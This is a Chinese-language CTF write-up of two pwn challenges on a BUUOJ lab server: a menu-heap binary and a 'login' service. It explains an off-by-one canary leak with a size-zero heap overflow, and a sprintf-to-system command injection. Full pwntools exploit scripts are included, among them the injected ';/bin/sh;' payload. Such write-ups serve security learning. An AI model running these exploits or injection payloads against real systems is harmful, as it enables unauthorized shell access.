PWN

一开始看 heapmaster 去了,看了半天没打出来,然后快没时间了就只写了个签到题

签个到

程序分析

程序功能有点类似于一个菜单堆,第一次处理输入的函数存在 off by one 漏洞

菜单提供了两个功能,分别是 addget

add 函数中,输入 size 后可以在 malloc 出来的指针上输入 size 个字节,若指针上前4个字节无内容则会将其赋值为 0x886size 的值不能超过 0x10,即正常情况下最多只能输入10个字节大小的 content 。然而,在输入 content 时调用的处理输入函数中,判断输入数据界限的条件为 <= size - 1 ,所以当 size == 0 ,即 (size - 1) == 0xffffffffffffffff ,可以绕过检查输入超出预期的内容导致堆溢出

get 函数中,会以输入的8个字节数据为key,遍历储存指针的数组。若当前下标对应指针上第5~13字节的数据等于输入的key,第1~9字节的数据等于 canary ,则会调用 backdoorgetshell

利用思路

利用一开始的 off by one 泄露 canaryadd 中的堆溢出将 canary 的值提前布置在 top_chunkmem 上,再申请一个 chunk ,此时该 chunk 上的内容就是 canary ,可以绕过 add 中对指针前4字节是否为0的判断,然后在该指针的第5~13字节上的内容写入 canary 的后4个字节和4个 '\x00' ,这样在 get 中输入 canary 的后4个字节作为 key 在遍历到对应的指针时就可以同时满足两个 strncmp 的判断从而去调用 backdoor 函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

# io = process('./pwn_5')
io = remote('node4.buuoj.cn', 28969)

context.binary = 'pwn_5'

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
lg = lambda x : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval(x)))

def menu(choice):
sla('> ', str(choice))

def add(size, content):
menu(1)
sla('power length: ', str(size))
sa('name: ', content)

def get(content):
menu(2)
sa('data: ', content)

sa('who are u?\n', 'a' * 9)
ru('a' * 8)
canary = uu64(rc(8)) - 0x61
lg('canary')
pld = flat({
0x18 - 4: [
0x20d51,
canary,
'\n'
]
}, filler = '\x00')
add(0, pld)
add(0, p64(canary)[-4:] + '\x00' * 4 + '\n')
get(p64(canary)[-4:] + '\x00' * 4)
ia()

login

程序分析

main 函数这个位置有一条花指令需要patch掉

程序会对输入的数据进行序列化

利用思路

洞在这个位置

set_sys_adm 函数会将输入数据继续序列化,然后调用 sprintf 函数将两个序列化后的数据格式化输出到函数内的一个数组上,并且以这个数组作为参数调用 system 函数

因为输入的数据是可控的,序列化后的数据是由输入的数据控制的,所以可以在这里构造出 system("/bin/sh") 的调用来 getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

# io = process('./pwn_4')
io = remote('node4.buuoj.cn', 27036)

context.binary = 'pwn_4'

sa = lambda a, b : io.sendafter(a, b)
ia = lambda : io.interactive()

pld = flat([
'POST/set_sys_adm \r\n',
'=;/bin/sh;&=junk&',
'EOF'
])
sa('welcome to login! \n', pld)
ia()